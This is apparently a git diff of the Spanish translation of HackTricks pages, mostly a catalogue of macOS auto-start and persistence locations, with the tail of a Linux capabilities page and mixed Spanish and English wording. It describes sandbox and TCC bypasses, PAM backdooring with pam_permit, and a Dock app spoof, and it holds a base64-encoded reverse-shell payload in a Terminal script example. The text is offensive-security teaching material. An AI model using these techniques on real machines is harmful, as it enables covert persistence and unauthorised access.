Para usar `CAP_SETPCAP` de manera efectiva, necesitas tener la capacidad en tu conjunto de capacidades efectivo y las capacidades objetivo en tu conjunto de capacidades permitidas. Luego puedes usar la llamada al sistema `capset()` para modificar los conjuntos de capacidades de otros procesos.
|
||||
|
||||
En resumen, `CAP_SETPCAP` permite a un proceso modificar los conjuntos de capacidades de otros procesos, pero no puede otorgar capacidades que no tiene. Además, debido a preocupaciones de seguridad, su funcionalidad ha sido limitada en versiones recientes del kernel para permitir solo la reducción de capacidades en su propio conjunto de capacidades permitido o en los conjuntos de capacidades permitidos de sus descendientes.
|
||||
En resumen, `CAP_SETPCAP` permite a un proceso modificar los conjuntos de capacidades de otros procesos, pero no puede otorgar capacidades que no tiene. Además, debido a preocupaciones de seguridad, su funcionalidad ha sido limitada en versiones recientes del kernel para permitir solo la reducción de capacidades en su propio conjunto de capacidades permitidas o en los conjuntos de capacidades permitidas de sus descendientes.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Esta sección se basa en gran medida en la serie de blogs [**Más allá de los buenos viejos LaunchAgents**](https://theevilbit.github.io/beyond/), el objetivo es agregar **más ubicaciones de autoinicio** (si es posible), indicar **qué técnicas siguen funcionando** hoy en día con la última versión de macOS (13.4) y especificar los **permisos** necesarios.
|
||||
Esta sección se basa en gran medida en la serie de blogs [**Más allá de los buenos viejos LaunchAgents**](https://theevilbit.github.io/beyond/), el objetivo es agregar **más ubicaciones de Autostart** (si es posible), indicar **qué técnicas siguen funcionando** hoy en día con la última versión de macOS (13.4) y especificar los **permisos** necesarios.
|
||||
|
||||
## Bypass de Sandbox
|
||||
|
||||
> [!TIP]
|
||||
> Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permiten simplemente ejecutar algo **escribiéndolo en un archivo** y **esperando** una **acción** muy **común**, una **cantidad determinada de tiempo** o una **acción que normalmente puedes realizar** desde dentro de un sandbox sin necesidad de permisos de root.
|
||||
> Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permiten simplemente ejecutar algo **escribiéndolo en un archivo** y **esperando** una **acción** muy **común**, una **cantidad de tiempo** determinada o una **acción que normalmente puedes realizar** desde dentro de un sandbox sin necesidad de permisos de root.
|
||||
|
||||
### Launchd
|
||||
|
||||
@ -78,14 +78,14 @@ Hay casos en los que un **agente necesita ser ejecutado antes de que el usuario
|
||||
> Nuevos archivos de configuración de Daemons o Agents serán **cargados después del próximo reinicio o usando** `launchctl load <target.plist>` También es **posible cargar archivos .plist sin esa extensión** con `launchctl -F <file>` (sin embargo, esos archivos plist no se cargarán automáticamente después del reinicio).\
|
||||
> También es posible **descargar** con `launchctl unload <target.plist>` (el proceso señalado por él será terminado),
|
||||
>
|
||||
> Para **asegurar** que no hay **nada** (como una anulación) **previniendo** que un **Agente** o **Daemon** **se ejecute**, ejecuta: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
|
||||
> Para **asegurar** que no haya **nada** (como una anulación) **previniendo** que un **Agente** o **Daemon** **se ejecute**, ejecuta: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
|
||||
|
||||
Lista todos los agentes y daemons cargados por el usuario actual:
|
||||
```bash
|
||||
launchctl list
|
||||
```
|
||||
> [!WARNING]
|
||||
> Si un plist es propiedad de un usuario, incluso si está en carpetas de sistema de demonios, la **tarea se ejecutará como el usuario** y no como root. Esto puede prevenir algunos ataques de escalada de privilegios.
|
||||
> Si un plist es propiedad de un usuario, incluso si está en carpetas de sistema de demonios, **la tarea se ejecutará como el usuario** y no como root. Esto puede prevenir algunos ataques de escalada de privilegios.
|
||||
|
||||
#### Más información sobre launchd
|
||||
|
||||
@ -100,7 +100,7 @@ Una de las primeras cosas que haría `launchd` es **iniciar** todos los **demoni
|
||||
- `org.cups.cups-lpd`: Escucha en TCP (`SockType: stream`) con `SockServiceName: printer`
|
||||
- SockServiceName debe ser un puerto o un servicio de `/etc/services`
|
||||
- `com.apple.xscertd.plist`: Escucha en TCP en el puerto 1640
|
||||
- **Demonios de ruta** que se ejecutan cuando un camino especificado cambia:
|
||||
- **Demonios de ruta** que se ejecutan cuando un camino específico cambia:
|
||||
- `com.apple.postfix.master`: Verificando la ruta `/etc/postfix/aliases`
|
||||
- **Demonios de notificaciones de IOKit**:
|
||||
- `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
|
||||
@ -115,7 +115,7 @@ Escritura: [https://theevilbit.github.io/beyond/beyond_0001/](https://theevilbit
|
||||
Escritura (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/)
|
||||
|
||||
- Útil para eludir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
- TCC Bypass: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Pero necesitas encontrar una aplicación con un bypass de TCC que ejecute un shell que cargue estos archivos
|
||||
|
||||
#### Ubicaciones
|
||||
@ -136,7 +136,7 @@ Escritura (xterm): [https://theevilbit.github.io/beyond/beyond_0018/](https://th
|
||||
- `/etc/profile` (no funcionó)
|
||||
- `~/.profile` (no funcionó)
|
||||
- `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
- **Disparador**: Se espera que se active con xterm, pero **no está instalado** y incluso después de instalarlo se lanza este error: xterm: `DISPLAY is not set`
|
||||
- **Disparador**: Se espera que se active con xterm, pero **no está instalado** y, incluso después de instalarlo, se lanza este error: xterm: `DISPLAY is not set`
|
||||
|
||||
#### Descripción y explotación
|
||||
|
||||
@ -188,7 +188,7 @@ Para **agregar una aplicación a esta lista** puedes usar:
|
||||
```
|
||||
### Preferencias del Terminal
|
||||
|
||||
- Útil para eludir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Útil para eludir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
- El uso del Terminal tiene permisos de FDA del usuario que lo utiliza
|
||||
|
||||
@ -221,7 +221,7 @@ Esta configuración se refleja en el archivo **`~/Library/Preferences/com.apple.
|
||||
}
|
||||
[...]
|
||||
```
|
||||
Entonces, si el plist de las preferencias del terminal en el sistema pudiera ser sobrescrito, la funcionalidad **`open`** se puede usar para **abrir el terminal y ese comando se ejecutará**.
|
||||
Entonces, si el plist de las preferencias del terminal en el sistema pudiera ser sobrescrito, la funcionalidad de **`open`** puede ser utilizada para **abrir el terminal y ese comando será ejecutado**.
|
||||
|
||||
Puedes agregar esto desde la línea de comandos con:
|
||||
```bash
|
||||
@ -232,10 +232,10 @@ Puedes agregar esto desde la línea de comandos con:
|
||||
# Remove
|
||||
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
|
||||
```
|
||||
### Scripts de Terminal / Otras extensiones de archivo
|
||||
### Terminal Scripts / Otras extensiones de archivo
|
||||
|
||||
- Útil para eludir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Elusión de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Uso de Terminal para tener permisos de FDA del usuario que lo utiliza
|
||||
|
||||
#### Ubicación
|
||||
@ -275,10 +275,10 @@ open /tmp/test.terminal
|
||||
# Use something like the following for a reverse shell:
|
||||
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
|
||||
```
|
||||
Podrías también usar las extensiones **`.command`**, **`.tool**, con contenido de scripts de shell regulares y también serán abiertos por Terminal.
|
||||
Podrías usar también las extensiones **`.command`**, **`.tool`**, con contenido de scripts de shell regulares y también se abrirán con Terminal.
|
||||
|
||||
> [!CAUTION]
|
||||
> Si el terminal tiene **Acceso Completo al Disco**, podrá completar esa acción (ten en cuenta que el comando ejecutado será visible en una ventana de terminal).
|
||||
> Si el terminal tiene **Acceso Completo al Disco** podrá completar esa acción (ten en cuenta que el comando ejecutado será visible en una ventana de terminal).
|
||||
|
||||
### Plugins de Audio
|
||||
|
||||
@ -325,14 +325,14 @@ Escritura: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Los plugins de QuickLook pueden ser ejecutados cuando **activas la vista previa de un archivo** (presiona la barra espaciadora con el archivo seleccionado en Finder) y un **plugin que soporte ese tipo de archivo** está instalado.
|
||||
Los plugins de QuickLook pueden ejecutarse cuando **activas la vista previa de un archivo** (presiona la barra espaciadora con el archivo seleccionado en Finder) y un **plugin que soporte ese tipo de archivo** está instalado.
|
||||
|
||||
Es posible compilar tu propio plugin de QuickLook, colocarlo en una de las ubicaciones anteriores para cargarlo y luego ir a un archivo soportado y presionar espacio para activarlo.
|
||||
|
||||
### ~~Hooks de Inicio/Cierre de Sesión~~
|
||||
|
||||
> [!CAUTION]
|
||||
> Esto no funcionó para mí, ni con el LoginHook de usuario ni con el LogoutHook de root
|
||||
> Esto no funcionó para mí, ni con el LoginHook del usuario ni con el LogoutHook de root
|
||||
|
||||
**Escritura**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/)
|
||||
|
||||
@ -342,9 +342,9 @@ Es posible compilar tu propio plugin de QuickLook, colocarlo en una de las ubica
|
||||
#### Ubicación
|
||||
|
||||
- Necesitas poder ejecutar algo como `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
|
||||
- `Lo`cado en `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||
- `Ub`icado en `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||
|
||||
Están obsoletos pero pueden ser usados para ejecutar comandos cuando un usuario inicia sesión.
|
||||
Están en desuso, pero se pueden usar para ejecutar comandos cuando un usuario inicia sesión.
|
||||
```bash
|
||||
cat > $HOME/hook.sh << EOF
|
||||
#!/bin/bash
|
||||
@ -373,10 +373,10 @@ defaults delete com.apple.loginwindow LogoutHook
|
||||
```
|
||||
El usuario root se almacena en **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
||||
|
||||
## Bypass de Sandbox Condicional
|
||||
## Bypass Condicional de Sandbox
|
||||
|
||||
> [!TIP]
|
||||
> Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permiten simplemente ejecutar algo **escribiéndolo en un archivo** y **esperando condiciones no tan comunes** como programas específicos **instalados, acciones de usuario "poco comunes"** o entornos.
|
||||
> Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permiten simplemente ejecutar algo **escribiéndolo en un archivo** y **esperando condiciones no muy comunes** como programas **específicos instalados, acciones de usuario "poco comunes"** o entornos.
|
||||
|
||||
### Cron
|
||||
|
||||
@ -415,22 +415,22 @@ crontab /tmp/cron
|
||||
```
|
||||
### iTerm2
|
||||
|
||||
Escritura: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.github.io/beyond/beyond_0002/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.github.io/beyond/beyond_0002/)
|
||||
|
||||
- Útil para eludir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
- iTerm2 solía tener permisos de TCC concedidos
|
||||
|
||||
#### Ubicaciones
|
||||
#### Locations
|
||||
|
||||
- **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
|
||||
- **Disparador**: Abrir iTerm
|
||||
- **Trigger**: Abrir iTerm
|
||||
- **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
|
||||
- **Disparador**: Abrir iTerm
|
||||
- **Trigger**: Abrir iTerm
|
||||
- **`~/Library/Preferences/com.googlecode.iterm2.plist`**
|
||||
- **Disparador**: Abrir iTerm
|
||||
- **Trigger**: Abrir iTerm
|
||||
|
||||
#### Descripción y Explotación
|
||||
#### Description & Exploitation
|
||||
|
||||
Los scripts almacenados en **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** se ejecutarán. Por ejemplo:
|
||||
```bash
|
||||
@ -543,12 +543,12 @@ EOF
|
||||
```
|
||||
### BetterTouchTool
|
||||
|
||||
- Útil para eludir la sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Útil para eludir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Pero BetterTouchTool debe estar instalado
|
||||
- Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Solicita permisos de Automatización-Creación de accesos directos y Accesibilidad
|
||||
|
||||
#### Ubicación
|
||||
#### Location
|
||||
|
||||
- `~/Library/Application Support/BetterTouchTool/*`
|
||||
|
||||
@ -556,12 +556,12 @@ Esta herramienta permite indicar aplicaciones o scripts a ejecutar cuando se pre
|
||||
|
||||
### Alfred
|
||||
|
||||
- Útil para eludir la sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Útil para eludir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Pero Alfred debe estar instalado
|
||||
- Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Solicita permisos de Automatización, Accesibilidad e incluso acceso a Disco Completo
|
||||
|
||||
#### Ubicación
|
||||
#### Location
|
||||
|
||||
- `???`
|
||||
|
||||
@ -569,52 +569,52 @@ Permite crear flujos de trabajo que pueden ejecutar código cuando se cumplen ci
|
||||
|
||||
### SSHRC
|
||||
|
||||
Escritura: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.github.io/beyond/beyond_0006/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.github.io/beyond/beyond_0006/)
|
||||
|
||||
- Útil para eludir la sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Útil para eludir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Pero ssh necesita estar habilitado y ser utilizado
|
||||
- Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
- El uso de SSH requiere acceso FDA
|
||||
|
||||
#### Ubicación
|
||||
#### Location
|
||||
|
||||
- **`~/.ssh/rc`**
|
||||
- **Disparador**: Inicio de sesión a través de ssh
|
||||
- **Trigger**: Inicio de sesión a través de ssh
|
||||
- **`/etc/ssh/sshrc`**
|
||||
- Se requiere root
|
||||
- **Disparador**: Inicio de sesión a través de ssh
|
||||
- **Trigger**: Inicio de sesión a través de ssh
|
||||
|
||||
> [!CAUTION]
|
||||
> Para activar ssh se requiere Acceso a Disco Completo:
|
||||
> Para activar ssh se requiere Acceso Completo al Disco:
|
||||
>
|
||||
> ```bash
|
||||
> sudo systemsetup -setremotelogin on
|
||||
> ```
|
||||
|
||||
#### Descripción y Explotación
|
||||
#### Description & Exploitation
|
||||
|
||||
Por defecto, a menos que `PermitUserRC no` en `/etc/ssh/sshd_config`, cuando un usuario **inicia sesión a través de SSH** los scripts **`/etc/ssh/sshrc`** y **`~/.ssh/rc`** se ejecutarán.
|
||||
|
||||
### **Elementos de Inicio de Sesión**
|
||||
### **Login Items**
|
||||
|
||||
Escritura: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.github.io/beyond/beyond_0003/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.github.io/beyond/beyond_0003/)
|
||||
|
||||
- Útil para eludir la sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Útil para eludir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Pero necesitas ejecutar `osascript` con argumentos
|
||||
- Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Ubicaciones
|
||||
#### Locations
|
||||
|
||||
- **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
|
||||
- **Disparador:** Inicio de sesión
|
||||
- **Trigger:** Inicio de sesión
|
||||
- Carga útil de explotación almacenada llamando a **`osascript`**
|
||||
- **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
||||
- **Disparador:** Inicio de sesión
|
||||
- **Trigger:** Inicio de sesión
|
||||
- Se requiere root
|
||||
|
||||
#### Descripción
|
||||
#### Description
|
||||
|
||||
En Preferencias del Sistema -> Usuarios y Grupos -> **Elementos de Inicio de Sesión** puedes encontrar **elementos que se ejecutarán cuando el usuario inicie sesión**.\
|
||||
En Preferencias del Sistema -> Usuarios y Grupos -> **Elementos de inicio de sesión** puedes encontrar **elementos que se ejecutarán cuando el usuario inicie sesión**.\
|
||||
Es posible listarlos, agregarlos y eliminarlos desde la línea de comandos:
|
||||
```bash
|
||||
#List all items:
|
||||
@ -632,9 +632,9 @@ Los **elementos de inicio de sesión** también pueden indicarse utilizando la A
|
||||
|
||||
### ZIP como Elemento de Inicio de Sesión
|
||||
|
||||
(Revisa la sección anterior sobre Elementos de Inicio de Sesión, esta es una extensión)
|
||||
(Revisa la sección anterior sobre Elementos de Inicio de Sesión, esto es una extensión)
|
||||
|
||||
Si almacenas un archivo **ZIP** como un **Elemento de Inicio de Sesión**, el **`Archive Utility`** lo abrirá y si el zip fue, por ejemplo, almacenado en **`~/Library`** y contenía la carpeta **`LaunchAgents/file.plist`** con un backdoor, esa carpeta será creada (no lo es por defecto) y el plist será agregado para que la próxima vez que el usuario inicie sesión, el **backdoor indicado en el plist será ejecutado**.
|
||||
Si almacenas un archivo **ZIP** como un **Elemento de Inicio de Sesión**, el **`Archive Utility`** lo abrirá y si el zip fue, por ejemplo, almacenado en **`~/Library`** y contenía la carpeta **`LaunchAgents/file.plist`** con un backdoor, esa carpeta será creada (no lo está por defecto) y el plist será añadido para que la próxima vez que el usuario inicie sesión, el **backdoor indicado en el plist será ejecutado**.
|
||||
|
||||
Otra opción sería crear los archivos **`.bash_profile`** y **`.zshenv`** dentro del HOME del usuario, así que si la carpeta LaunchAgents ya existe, esta técnica seguiría funcionando.
|
||||
|
||||
@ -642,7 +642,7 @@ Otra opción sería crear los archivos **`.bash_profile`** y **`.zshenv`** dentr
|
||||
|
||||
Escritura: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/)
|
||||
|
||||
- Útil para eludir sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Útil para eludir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Pero necesitas **ejecutar** **`at`** y debe estar **habilitado**
|
||||
- Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
@ -725,7 +725,7 @@ Escritura: [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit
|
||||
Escritura: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
|
||||
- Útil para eludir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Pero necesitas poder llamar a `osascript` con argumentos para contactar a **`System Events`** para poder configurar las Acciones de Carpeta
|
||||
- Pero necesitas poder llamar a `osascript` con argumentos para contactar a **`System Events`** y poder configurar las Acciones de Carpeta
|
||||
- Bypass de TCC: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
- Tiene algunos permisos básicos de TCC como Escritorio, Documentos y Descargas
|
||||
|
||||
@ -739,7 +739,7 @@ Escritura: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Las Acciones de Carpeta son scripts que se activan automáticamente por cambios en una carpeta, como agregar o eliminar elementos, o otras acciones como abrir o redimensionar la ventana de la carpeta. Estas acciones se pueden utilizar para diversas tareas y se pueden activar de diferentes maneras, como usando la interfaz de Finder o comandos de terminal.
|
||||
Las Acciones de Carpeta son scripts que se activan automáticamente por cambios en una carpeta, como agregar, eliminar elementos u otras acciones como abrir o redimensionar la ventana de la carpeta. Estas acciones se pueden utilizar para diversas tareas y se pueden activar de diferentes maneras, como usando la interfaz de Finder o comandos de terminal.
|
||||
|
||||
Para configurar las Acciones de Carpeta, tienes opciones como:
|
||||
|
||||
@ -843,7 +843,7 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
|
||||
# Restart Dock
|
||||
killall Dock
|
||||
```
|
||||
Usando algo de **ingeniería social** podrías **suplantar por ejemplo Google Chrome** dentro del dock y realmente ejecutar tu propio script:
|
||||
Usando algo de **ingeniería social** podrías **suplantar, por ejemplo, Google Chrome** dentro del dock y realmente ejecutar tu propio script:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
@ -908,16 +908,16 @@ Escritura: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.
|
||||
#### Ubicación
|
||||
|
||||
- `/Library/ColorPickers`
|
||||
- Se requiere root
|
||||
- Se requiere acceso root
|
||||
- Activador: Usa el seleccionador de color
|
||||
- `~/Library/ColorPickers`
|
||||
- Activador: Usa el seleccionador de color
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
**Compila un** bundle **de seleccionador de color** con tu código (podrías usar [**este por ejemplo**](https://github.com/viktorstrate/color-picker-plus)) y añade un constructor (como en la [sección de Protector de Pantalla](macos-auto-start-locations.md#screen-saver)) y copia el bundle a `~/Library/ColorPickers`.
|
||||
**Compila un** bundle **de seleccionador de color** con tu código (podrías usar [**este, por ejemplo**](https://github.com/viktorstrate/color-picker-plus)) y añade un constructor (como en la [sección de Protector de Pantalla](macos-auto-start-locations.md#screen-saver)) y copia el bundle a `~/Library/ColorPickers`.
|
||||
|
||||
Luego, cuando se active el seleccionador de color, tu código también debería ejecutarse.
|
||||
Luego, cuando se active el seleccionador de color, tu código también debería activarse.
|
||||
|
||||
Ten en cuenta que el binario que carga tu biblioteca tiene un **sandbox muy restrictivo**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
```bash
|
||||
@ -962,18 +962,18 @@ Escritura: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https:/
|
||||
|
||||
- `/System/Library/Screen Savers`
|
||||
- Se requiere root
|
||||
- **Activar**: Selecciona el protector de pantalla
|
||||
- **Disparador**: Selecciona el protector de pantalla
|
||||
- `/Library/Screen Savers`
|
||||
- Se requiere root
|
||||
- **Activar**: Selecciona el protector de pantalla
|
||||
- **Disparador**: Selecciona el protector de pantalla
|
||||
- `~/Library/Screen Savers`
|
||||
- **Activar**: Selecciona el protector de pantalla
|
||||
- **Disparador**: Selecciona el protector de pantalla
|
||||
|
||||
<figure><img src="../images/image (38).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Crea un nuevo proyecto en Xcode y selecciona la plantilla para generar un nuevo **Protector de Pantalla**. Luego, agrega tu código, por ejemplo, el siguiente código para generar registros.
|
||||
Crea un nuevo proyecto en Xcode y selecciona la plantilla para generar un nuevo **Protector de Pantalla**. Luego, agrega tu código a él, por ejemplo, el siguiente código para generar registros.
|
||||
|
||||
**Compílalo**, y copia el paquete `.saver` a **`~/Library/Screen Savers`**. Luego, abre la GUI del Protector de Pantalla y si simplemente haces clic en él, debería generar muchos registros:
|
||||
```bash
|
||||
@ -1074,7 +1074,7 @@ writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.g
|
||||
- Se requiere root
|
||||
- `Some.app/Contents/Library/Spotlight/`
|
||||
- **Trigger**: Se crea un nuevo archivo con una extensión gestionada por el plugin de spotlight.
|
||||
- Se requiere nueva app
|
||||
- Se requiere una nueva app
|
||||
|
||||
#### Description & Exploitation
|
||||
|
||||
@ -1131,7 +1131,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||
[...]
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Si revisas el Plist de otros `mdimporter`, es posible que no encuentres la entrada **`UTTypeConformsTo`**. Eso es porque es un _Identificador de Tipo Uniforme_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) incorporado y no necesita especificar extensiones.
|
||||
> Si revisas el Plist de otros `mdimporter`, es posible que no encuentres la entrada **`UTTypeConformsTo`**. Eso se debe a que es un _Identificador de Tipo Uniforme_ ([_UTI_](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) incorporado y no necesita especificar extensiones.
|
||||
>
|
||||
> Además, los plugins predeterminados del sistema siempre tienen prioridad, por lo que un atacante solo puede acceder a archivos que no están indexados por los propios `mdimporters` de Apple.
|
||||
|
||||
@ -1164,7 +1164,7 @@ No parece que esto esté funcionando más.
|
||||
## Bypass de Sandbox de Root
|
||||
|
||||
> [!TIP]
|
||||
> Aquí puedes encontrar ubicaciones de inicio útiles para **eludir el sandbox** que te permiten simplemente ejecutar algo **escribiéndolo en un archivo** siendo **root** y/o requiriendo otras **condiciones extrañas.**
|
||||
> Aquí puedes encontrar ubicaciones de inicio útiles para el **bypass de sandbox** que te permite simplemente ejecutar algo **escribiéndolo en un archivo** siendo **root** y/o requiriendo otras **condiciones extrañas.**
|
||||
|
||||
### Periódico
|
||||
|
||||
@ -1239,11 +1239,11 @@ Escritura: [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit
|
||||
|
||||
#### Ubicación
|
||||
|
||||
- Se requiere root siempre
|
||||
- Root siempre requerido
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Como PAM está más enfocado en **persistencia** y malware que en una fácil ejecución dentro de macOS, este blog no dará una explicación detallada, **lee las escrituras para entender mejor esta técnica**.
|
||||
Como PAM se centra más en la **persistencia** y malware que en la ejecución fácil dentro de macOS, este blog no dará una explicación detallada, **lee las escrituras para entender mejor esta técnica**.
|
||||
|
||||
Verifica los módulos de PAM con:
|
||||
```bash
|
||||
@ -1253,7 +1253,7 @@ Una técnica de persistencia/escalada de privilegios que abusa de PAM es tan fá
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
Así que se verá algo como esto:
|
||||
Así que se verá algo así:
|
||||
```bash
|
||||
# sudo: auth account password session
|
||||
auth sufficient pam_permit.so
|
||||
@ -1264,12 +1264,12 @@ account required pam_permit.so
|
||||
password required pam_deny.so
|
||||
session required pam_permit.so
|
||||
```
|
||||
Y por lo tanto, cualquier intento de usar **`sudo` funcionará**.
|
||||
Y, por lo tanto, cualquier intento de usar **`sudo` funcionará**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que este directorio está protegido por TCC, por lo que es muy probable que el usuario reciba un aviso pidiendo acceso.
|
||||
|
||||
Otro buen ejemplo es su, donde puedes ver que también es posible dar parámetros a los módulos PAM (y también podrías poner una puerta trasera en este archivo):
|
||||
Otro buen ejemplo es su, donde se puede ver que también es posible dar parámetros a los módulos PAM (y también podría poner una puerta trasera en este archivo):
|
||||
```bash
|
||||
cat /etc/pam.d/su
|
||||
# su: auth account session
|
||||
@ -1280,22 +1280,22 @@ account required pam_opendirectory.so no_check_shell
|
||||
password required pam_opendirectory.so
|
||||
session required pam_launchd.so
|
||||
```
|
||||
### Plugins de Autorización
|
||||
### Authorization Plugins
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/)\
|
||||
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
|
||||
|
||||
- Útil para eludir el sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
- Útil para eludir sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
- Pero necesitas ser root y hacer configuraciones adicionales
|
||||
- Bypass de TCC: ???
|
||||
|
||||
#### Ubicación
|
||||
#### Location
|
||||
|
||||
- `/Library/Security/SecurityAgentPlugins/`
|
||||
- Se requiere root
|
||||
- También es necesario configurar la base de datos de autorización para usar el plugin
|
||||
|
||||
#### Descripción y Explotación
|
||||
#### Description & Exploitation
|
||||
|
||||
Puedes crear un plugin de autorización que se ejecutará cuando un usuario inicie sesión para mantener la persistencia. Para más información sobre cómo crear uno de estos plugins, consulta los writeups anteriores (y ten cuidado, uno mal escrito puede bloquearte y necesitarás limpiar tu mac desde el modo de recuperación).
|
||||
```objectivec
|
||||
@ -1424,7 +1424,7 @@ Escritura: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit
|
||||
|
||||
- **`/etc/security/audit_warn`**
|
||||
- Se requiere root
|
||||
- **Disparador**: Cuando auditd detecta una advertencia
|
||||
- **Activador**: Cuando auditd detecta una advertencia
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
@ -1441,7 +1441,7 @@ Podrías forzar una advertencia con `sudo audit -n`.
|
||||
El **StartupItem** es un directorio que debe estar ubicado dentro de `/Library/StartupItems/` o `/System/Library/StartupItems/`. Una vez que se establece este directorio, debe contener dos archivos específicos:
|
||||
|
||||
1. Un **script rc**: Un script de shell ejecutado al inicio.
|
||||
2. Un **archivo plist**, específicamente nombrado `StartupParameters.plist`, que contiene varias configuraciones.
|
||||
2. Un **archivo plist**, específicamente llamado `StartupParameters.plist`, que contiene varias configuraciones.
|
||||
|
||||
Asegúrate de que tanto el script rc como el archivo `StartupParameters.plist` estén correctamente ubicados dentro del directorio **StartupItem** para que el proceso de inicio los reconozca y los utilice.
|
||||
|
||||
